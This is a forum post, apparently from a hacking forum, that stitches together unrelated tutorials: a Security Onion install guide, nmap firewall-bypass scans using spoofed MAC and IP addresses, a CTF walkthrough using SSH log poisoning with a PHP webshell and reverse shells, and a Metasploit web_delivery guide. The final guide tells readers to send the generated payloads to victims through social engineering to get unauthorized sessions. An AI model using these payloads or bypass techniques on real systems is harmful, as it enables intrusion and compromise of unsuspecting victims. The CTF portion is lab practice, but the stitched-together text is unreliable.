Login

**NINZA** · 05-14-2020, 05:33 AM

0			0

Security Onion is a Linux distro for intrusion detection, network security monitoring, and log management. It’s based on Ubuntu and contains Snort, Suricata, Bro, OSSEC, Sguil, Squert, ELSA, Xplico, NetworkMiner, and many other security tools. The easy-to-use Setup wizard allows you to build an army of distributed sensors for your enterprise in minutes!
Security Onion effortlessly merges collectively two main roles i.e. complete packet capture another Network-based [NIDS] and host-based intrusion detection systems [HIDS].
There is some Analysis tool are available that also work as a real-time program by capturing network packets.
NIDS: Snort or Suricata and Bro as network intrusion detection for fingerprints and identifiers that contest identified malicious, abnormal otherwise suspicious traffic.
HIDS: Security Onion offers OSSEC for host-based intrusion detection.
Sguil: It is the crucial Security Onion tool for network security analysts. Sguil’s main component is an intuitive GUI that gives access to real-time events, session data, and raw packet captures.
Squert: It is a web application that is used to query and view event data stored in a Sguil database.
ELSA: Enterprise Log Search and Archive is a three-tier log receiver, archiver, indexer, and web frontend for incoming syslog.
For more details visit

[To see content please register here]

Let’s start!!
Create VM for Security Onion installation
Open VMware, select option “creates new virtual machine”, now for install from wizard select second option:
Install the disc image file in order to browse the iso file of security onion.
Then click on next.
[Image: 1.PNG?w=687&ssl=1]

Now select 2nd option “Linux” for the guest operating system and select version “Ubuntu”. Then click on next and next as per your requirements.
[Image: 2.PNG?w=687&ssl=1]

Explore custom hardware for making the following changes:
Select bridges connection and enable the checkbox for replicate connection for network adapter setting. Similarly, add one more network adapter and also select bridges connection for the 2nd adapter
Then click on finish.
[Image: 5.PNG?w=687&ssl=1]

Installation
It will start booting the VM automatically, now for SECURITY ONION
[Image: 6.PNG?w=687&ssl=1]

At welcome screen; Select language and click “Continue”. Here we have chosen English as the preferred language.
[Image: 7.PNG?w=687&ssl=1]

Read the content and then click on “Continue”.
[Image: 8.PNG?w=687&ssl=1]

Choose the radio button for “Erase the disk and install Security Onion” to begin installation and click “Install Now”
[Image: 9.PNG?w=687&ssl=1]

Click on “Continue” then it will proceed for disk partitions.
[Image: 10.PNG?w=687&ssl=1]

Check your location, without holdup, select your time zone and then click on “Continue”.
[Image: 12.PNG?w=687&ssl=1]

Choose keyboard layout “English (US)” and then click on “Continue”.
[Image: 13.PNG?w=687&ssl=1]

Now create your profile by giving your detail as given below:

Enter your name: Ignite
Enter your computer’s name: Ignite-pc
Select a username: Ignite
Enter a password: 1234

Click “Continue”
[Image: 14.PNG?w=687&ssl=1]

Now it may take some time in installation, but after that when installation is complete. Click “Restart Now” for a new installation.
[Image: 15.PNG?w=687&ssl=1]

Security onion configuration 1st part
In order to configure security onion as a real-time system for NIDS and HIDS, we have divided configuration setting into two parts.
Now enter your username and password for login as shown in given below image.
[Image: 16.PNG?w=687&ssl=1]

At Desktop screen you have can see setup icon; click on “setup” icon for configuration of the network interface.
[Image: 17.1.png?w=687&ssl=1]

Configure 1st network adapter for the management interface
Click on “setup” icon present at the desktop to configure security onion on your system.
Click “Yes, Continue”
[Image: 17.PNG?w=687&ssl=1]

Click “Yes” to configure /etc/network/interface now as shown in given below image.
[Image: 18.PNG?w=687&ssl=1]

Choose eth0 as network interface should be the management interface as shown in given below image.
[Image: 19.PNG?w=687&ssl=1]

Choose Static addressing for eth0 utilization as shown in given below image.
[Image: 20.PNG?w=687&ssl=1]

Enter a static IP for your management interface as shown in the given image.
[Image: 21.PNG?w=687&ssl=1]

Enter subnet mask of for static addressing as shown in given below image.
[Image: 22.PNG?w=687&ssl=1]

Enter gateway as shown in given below image.
[Image: 23.PNG?w=687&ssl=1]

Enter DNS server IP it can be 192.168.1.1 or 8.8.8.8 or can be both separated by spaces.
[Image: 25.PNG?w=687&ssl=1]

Enter your local domain name as shown in given below image.
[Image: 25.PNG?w=687&ssl=1]

Configure 2nd network adapter for sniffing interface
Click “Yes” to configure sniffing interfaces now as shown in given below image.
[Image: 26.PNG?w=687&ssl=1]

Choose eth1 as network interface should be used for sniffing interface.
[Image: 27.PNG?w=687&ssl=1]

Given below image is showing brief details of a network interface configuration. Click yes to proceed further step.
[Image: 28.PNG?w=687&ssl=1]

Network configuration is completed now click “Yes Reboot”
[Image: 29.PNG?w=687&ssl=1]

Security onion configuration 2nd part
Now once it restarts, again click on “setup” icon for further configuration of security onion setup as a real-time machine. Then click “yes, Continue”.
[Image: 30.PNG?w=687&ssl=1]

Since we had already configured the network interface, therefore, click on “yes, Skip network configuration”
[Image: 31.PNG?w=687&ssl=1]

Select “Stable setup” which will configure ELSA; then Click OK.
[Image: 32.PNG?w=687&ssl=1]

Select “Evaluation Mode” which configure Snort and Bro to monitor one network interface; then Click OK
[Image: 33.PNG?w=687&ssl=1]

Select eth1 for the 2nd network interface that should be monitored as shown in the given image.
[Image: 34.PNG?w=687&ssl=1]

Now add a username for Sguil, Squert, and ELSA a shown in given below image.
[Image: 35.PNG?w=687&ssl=1]

Enter the password for username used while you want to login into Sguil, Squert and ELSA a shown in given below image.
[Image: 36.PNG?w=687&ssl=1]

Now again next dialog box will display brief detain for configuration setting. Click on “yes, proceed with changes”
[Image: 38.PNG?w=687&ssl=1]

Here it will proceed for stopping all NSM services which manage all network services from creation to deletion.
[Image: 39.PNG?w=687&ssl=1]

Security Onion configuration is now completed. You will see it will launch icon for SGUIL, Squert, and ELSA. Now click on the squil icon and then enter the username and password to login into sguil.
[Image: 45.PNG?w=687&ssl=1]

Select network eth1 to be the monitor as shown in given below image and click on “start SGUIL”
[Image: 46.PNG?w=687&ssl=1]

It will work as a real-time system and start capturing traffic as shown in given below image.
Great!! Now analysis your network traffic will real-time machine
[Image: 47.PNG?w=687&ssl=1]

In our previous article we had demonstrated “Nmap firewall scan (part 1)” by making use of Iptable rules and then try to bypass firewall filter to perform NMAP Advance scanning, today we are going to discuss the second part of it.
Requirement
Attacker: Kali Linux
Target: Ubuntu
Spoof MAC Address Scan
Allow TCP Packet from Specific Mac Address
If network admin wants to establish TCP connect from specific MAC address and do not want to connect with another system then he could use following Iptable rules to apply firewall filter in his network.
iptables -I INPUT -p tcp -m mac --mac-source "AA:AA:AA:AA:AA:AA" -j ACCEPT
iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset
1
2
iptables -I INPUT -p tcp -m mac --mac-source "AA:AA:AA:AA:AA:AA" -j ACCEPT
iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset
[Image: 4.png?w=687&ssl=1]

Now when the attacker will perform basic network scanning on the target’s network, he could not able to enumerate ports and running service of a victim’s system.
nmap 192.168.1.117
1
nmap 192.168.1.117
[Image: 5.png?w=687&ssl=1]

In order to bypass above applied filter attacker may run netdiscover command or nmap Host Scan in Kali Linux terminal to identify the active host in the network. As a result he will get a table which contains MAC address and IP address of the active host in the local network.
[Image: 6.png?w=687&ssl=1]

Now either use one by one all MAC address in nmap command or save all MAC address in a text file and give its path in nmap command but to perform this attacker first need to enable “Promiscuous mode” of his network. Well, to do so type given below commands first for Promiscuous mode and second for nmap scanning.
ip link set eth0 promisc on
nmap --spoof-mac AA:AA:AA:AA:AA:AA 192.168.1.117
1
2
ip link set eth0 promisc on
nmap --spoof-mac AA:AA:AA:AA:AA:AA 192.168.1.117
Hence if you are lucky to spoof correct Mac address then you can easily bypass the firewall filter and able to establish TCP connect with victim’s network for port enumeration.
Nice!!! If you will notice in given below image you will observe open ports of the target’s network.
[Image: 7.png?w=687&ssl=1]

Spoof IP Address
Allow TCP Packet from Specific IP
If network admin wants to establish TCP connect from specific IP and do not want to connect with another system then he could use following Iptable rules to apply firewall filter in his network.
iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset
iptables -I INPUT -p tcp -s 192.168.1.120 -j ACCEPT
1
2
iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset
iptables -I INPUT -p tcp -s 192.168.1.120 -j ACCEPT
[Image: 8.png?w=687&ssl=1]

Now when again attacker will perform basic network scanning on the target’s network, he could not able to enumerate ports and running service of victim’s system.
nmap 192.168.1.117
1
nmap 192.168.1.117
[Image: 9.png?w=687&ssl=1]

In order to bypass above applied filter attacker may again run netdiscover command or nmap Host Scan in Kali Linux terminal to identify the active host in the network. As a result he will get a table which contains MAC address and IP address of the active host in the local network.
Now either use one by one all IP address in nmap command or save all IP address in a text file and give its path in nmap command and then execute the following command:
nmap -e eth0 -S 192.168.1.120 192.168.1.117
1
nmap -e eth0 -S 192.168.1.120 192.168.1.117
Hence if you are lucky to spoof correct IP address then you can easily bypass the firewall filter and able to establish TCP connect with victim’s network for port enumeration.
Great!! If you will notice in given below image you will observe open ports of target’s network.
[Image: 10.png?w=687&ssl=1]

Data-String Scan
Allow TCP Packet from Specific String
If network admin wants to establish TCP connect from a system which contains a specific string and do not want to connect with other system does not contain that special string packets then he could use following Iptable rules to apply firewall filter in his network.
iptables -I INPUT -p tcp -m string --algo bm --string "Khulja sim sim" -j ACCEPT
iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset
1
2
iptables -I INPUT -p tcp -m string --algo bm --string "Khulja sim sim" -j ACCEPT
iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset
In above rule, you can see we had used “Khulja sim sim” as a special string to establish TCP connection. Hence only those TCP connection could be established which contain “Khulja sim sim” in packets.

Now when again attacker will perform basic network scanning on target’s network, he could not able to enumerate ports and running service of victim’s system because traffic generates from his network does not contain special string in packets thus firewall of target system will discard all TCP packet of attacker’s network.
nmap 192.168.1.117
1
nmap 192.168.1.117
[Image: 12.png?w=687&ssl=1]

If the attacker somehow sniffs special string “khulja sim sim” to connect with target’s network then he could use –data-string argument in nmap command to bypass the firewall.
nmap --data-string "Khulja sim sim" 192.168.1.117
1
nmap --data-string "Khulja sim sim" 192.168.1.117
Hence if you are lucky to sniff correct data string then you can easily bypass the firewall filter and able to establish TCP connect with victim’s network for port enumeration.
Wonderful!! If you will notice given below image you will observe open ports of target’s network.
[Image: 13.png?w=687&ssl=1]

Hex String Scan
Allow TCP Packet from Specific Hex String
If network admin wants to establish TCP connect from a system which contains the hexadecimal value of the particular string and do not want to connect with other system does not contain the hexadecimal value of that special string in packets then he could use following Iptable rules to apply firewall filter in his network.
iptables -I INPUT -p tcp -m string --algo kmp --hex-string "RAJ" -j ACCEPT
iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset
1
2
iptables -I INPUT -p tcp -m string --algo kmp --hex-string "RAJ" -j ACCEPT
iptables -A INPUT -p tcp -j REJECT --reject-with tcp-reset
In the above rule, you can see we had used hex value for “RAJ” as a special string to establish a TCP connection. Hence only those TCP connection could be established which contain hex value of “RAJ” in the packet.
[Image: 14.png?w=687&ssl=1]

Now when again attacker will perform basic network scanning on target’s network, he could not able to enumerate ports and running service of victim’s system because traffic generates from his network does not contain hex value of the special string in packets thus firewall of target system will discard all TCP packet of attacker’s network.
nmap 192.168.1.117
1
nmap 192.168.1.117
[Image: 15.png?w=687&ssl=1]

If an attacker somehow sniffs special string “RAJ” to connect with target’s network then he could use its hex values with –data argument in nmap command to bypass the firewall.
nmap --data "\x52\x41\x4a" 192.168.1.117
1
nmap --data "\x52\x41\x4a" 192.168.1.117
Hence if you are lucky to sniff correct hex value of particular data string then you can easily bypass the firewall filter and able to establish TCP connect with victim’s network for port enumeration.
Hence, if you will notice given below image you will observe open ports of the target’s network.
[Image: 16.png?w=687&ssl=1]

IP-Options Scan
Reject TCP Packets contains tcp-option
By default, nmap sends 24 bytes of TCP data in which 4 bytes of data is reserve for TCP Options if network admin rejects 4 bytes tcp –option packet to discord tcp connection to prevent his network from scanning. Type following iptable rule to reject 4-bit tcp-option in his network:
iptables -I INPUT -p tcp --tcp-option 4 -j REJECT --reject-with tcp-reset
1
iptables -I INPUT -p tcp --tcp-option 4 -j REJECT --reject-with tcp-reset

Now when an attacker will perform TCP scanning [sT] on the target’s network, he could not able to enumerate ports and running service of the victim’s system. Since tcp-option is 4 bytes hence firewall discard tcp packet of attacker’s network.
nmap -sT 192.168.1.117
1
nmap -sT 192.168.1.117
[Image: 21.png?w=687&ssl=1]

The IP protocol gives numerous options that could be placed in packet headers. Contrasting the omnipresent TCP options, IP options are seldom observed because of security reasons. The most powerful way to specify IP options is to simply pass in hexadecimal data as the argument to –ip-options.
Precede every hex byte value with \x. You may repeat certain characters by following them with an asterisk and then the number of times you wish them to repeat. For example, \x01\x07\x04\x00*4 is the same as\x01\x07\x04\x00\x00\x00\x00 this is also called NuLL bytes
Now type the following command with the ip-option argument as shown below:
nmap --ip-options "\x00\x00\x00\x00\x00*" 192.168.1.117
1
nmap --ip-options "\x00\x00\x00\x00\x00*" 192.168.1.117
Note that if you denote the number of bytes that is not a multiple of four; an incorrect IP header length will be set in the IP packet. The reason for this is that the IP header length field can only express multiples of four. In those cases, the length is computed by dividing the header length by 4 and rounding down.
GOOD! If you will notice given below image you will observe open ports of the target’s network.

[To see content please register here]

Hello friends! Today we are going to take another CTF challenge known as The Ether: EvilScience. The credit for making this vm machine goes to “f1re_w1re” and it is another boot2root challenge where we have to root the server to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.146 but you will have to find your own)
netdiscover
[Image: 1.1.png?w=687&ssl=1]

Use nmap for port enumeration.
nmap -sV 192.168.1.146
[Image: 1.png?w=687&ssl=1]

Nmap scan shows us port 80 is open, so we open the ip address in our browser.
[Image: 2.png?w=687&ssl=1]

We find that the site is vulnerable to LFI. Going through the pages we find that the index.php file is vulnerable to LFI
[Image: 3.png?w=687&ssl=1]

We can access auth.log with LFI. We use burpsuite to check the response and we find that we can use ssh log poisoning to get access to server.
[Image: 4.png?w=687&ssl=1]

We now login with username as basic php shell to use command injection.
ssh ‘<?php system($_GET[‘C’]);?>’@192.168.1.146
[Image: 5.png?w=687&ssl=1]

Now we check if log injection is possible we try to run ‘ls’ command and find that log injection is possible.
[Image: 6.png?w=687&ssl=1]

We use web_delivery script in metasploit to gain reverse shell.
msf > use multi/script/web_delivery
msf exploit(web_delivery) > set target 1
msf exploit(web_delivery) > set payload php/meterpreter/reverse_tcp
msf exploit(web_delivery) > set lhost 192.168.1.131
msf exploit(web_delivery) > set lport 4444
msf exploit(web_delivery) > run
[Image: 7.png?w=687&ssl=1]

Now we run python to run our web delivery script to bypass the firewall.
[Image: 8.png?w=687&ssl=1]

As soon as we get send the request we get the reverse shell.
[Image: 9.png?w=687&ssl=1]

Now we spawn tty shell with python.
python -c ‘import pty; pty.spawn(“/bin/bash”);’
[Image: 10.png?w=687&ssl=1]

Now we take look at the sudoers file. We find that we don’t need need password to run a python file as root.
[Image: 11.png?w=687&ssl=1]

Now we run the file as root. When we run the file we find that it opens log file so we use pipe to run our commands. We run id command and find that we can execute commands as root.
[Image: 12.png?w=687&ssl=1]

Now we setup our listener using netcat.
nc -lvp 5555
[Image: 13.png?w=687&ssl=1]

Now we create a python shell and save it into our /var/www/html folder.
[Image: 14.png?w=687&ssl=1]

We download it inside /tmp folder on the target VM using wget.
wget

[To see content please register here]

-O /tmp/shell.py
[Image: 15.png?w=687&ssl=1]

Let’s run the shell using python program in the target machine.
[Image: 16.png?w=687&ssl=1]

Now as soon as we run the shell we get the reverse shell. We run the id command to check the user. We move to the root directory and find an image file called flag.png
[Image: 17.png?w=687&ssl=1]

We check the strings inside the image using tail command.
tail flag.png
Inside the image file we find a flag in base64 encode.
[Image: 18.png?w=687&ssl=1]

We decode the base64 encoded string.
echo ‘base64-encoded-string’ | base64 -d
[Image: 19.png?w=687&ssl=1]

Hello friends! In this article you will learn how to exploit three different platforms [Linux, windows, using a single exploit of the Metasploit framework.
Requirement
Attacker: Kali Linux
Targeted Platform: Window,PHP,Linux [ubuntu]
Open the terminal in your Kali Linux and type “msfconsole” to load Metasploit framework and execute given below exploit.
This module quickly fires up a web server that serves a payload. The provided command which will allow for a payload to download and execute. It will do it either specified scripting language interpreter or “squiblydoo” via regsvr32.exe for bypassing application whitelisting. The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command: e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Execution. This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege escalations supplied by Meterpreter. When using either of the PSH targets, ensure the payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines. Regsvr32 uses “squiblydoo” technique for bypassing application whitelisting. The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute) can occur on the same port. “PSH (Binary)” will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed.
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>show targets
1
2
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>show targets
From given below image you can observe that there are 5 targets, which help you in generating malicious code to create a backdoor in the victim system.
[Image: 1.png?w=687&ssl=1]

Exploit Linux Platform [python]

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 0
msf exploit (web_delivery)>set payload python/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 0
msf exploit (web_delivery)>set payload python/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
In this exploit we had set target 0 to generate malicious code for python platform, from given below image you can observe the highlighted malicious python code, now copy it and send to the victim using social engineering method.
As soon as the victim will execute the malicious code in terminal, the attacker will obtain meterpreter session as unauthorized access of the victim system.
[Image: 2.1.png?w=687&ssl=1]

Exploit Linux Platform The contents of this section are hidden for your group

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)>set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)>set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
Now we had set target 1 to generate malicious code for php platform, from given below image you can observe the highlighted malicious php code, now copy it and send to the victim using social engineering method.
As soon as the victim will execute the malicious code in a web browser, the attacker will obtain another meterpreter session as unauthorized access of the victim system.
[Image: 2.png?w=687&ssl=1]

Exploit Windows Platform [exe]

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 2
msf exploit (web_delivery)>set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 2
msf exploit (web_delivery)>set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
Further, we had set target 2 to generate malicious code for window platform, from given below image you can observe the highlighted malicious powershell.exe, now copy it and send to the victim using social engineering method.
As soon as the victim will execute the malicious code in command prompt, the attacker will obtain a meterpreter session as unauthorized access of the victim system.
[Image: 4.png?w=687&ssl=1]

Exploit Windows Platform [DLL]

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)>set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)>set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
In this exploit we had set target 3 to generate malicious code for window platform, from given below image you can observe the highlighted malicious dll code, now copy it and send to the victim using social engineering method.
As soon as the victim will execute the malicious code as run command inside the RUN window, the attacker will again obtain meterpreter session and make unauthorized access in the victim system.
[Image: 5.png?w=687&ssl=1]

Exploit Windows Platform [Powershell Binary]

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 4
msf exploit (web_delivery)>set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set lhost 192.168.1.132
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>set target 4
msf exploit (web_delivery)>set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)>run
In this exploit we had set target 4 to generate malicious code for windows platform, from given below image you can observe the highlighted malicious powershell.exe binary code, now copy it and send to the victim using social engineering method.
As soon as the victim will execute the malicious code in command prompt, the attacker will obtain a meterpreter session as unauthorized access of the victim system.
Hence a single exploit “web delivery script” is quite helpful to hack three different platforms.
[Image: 6.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis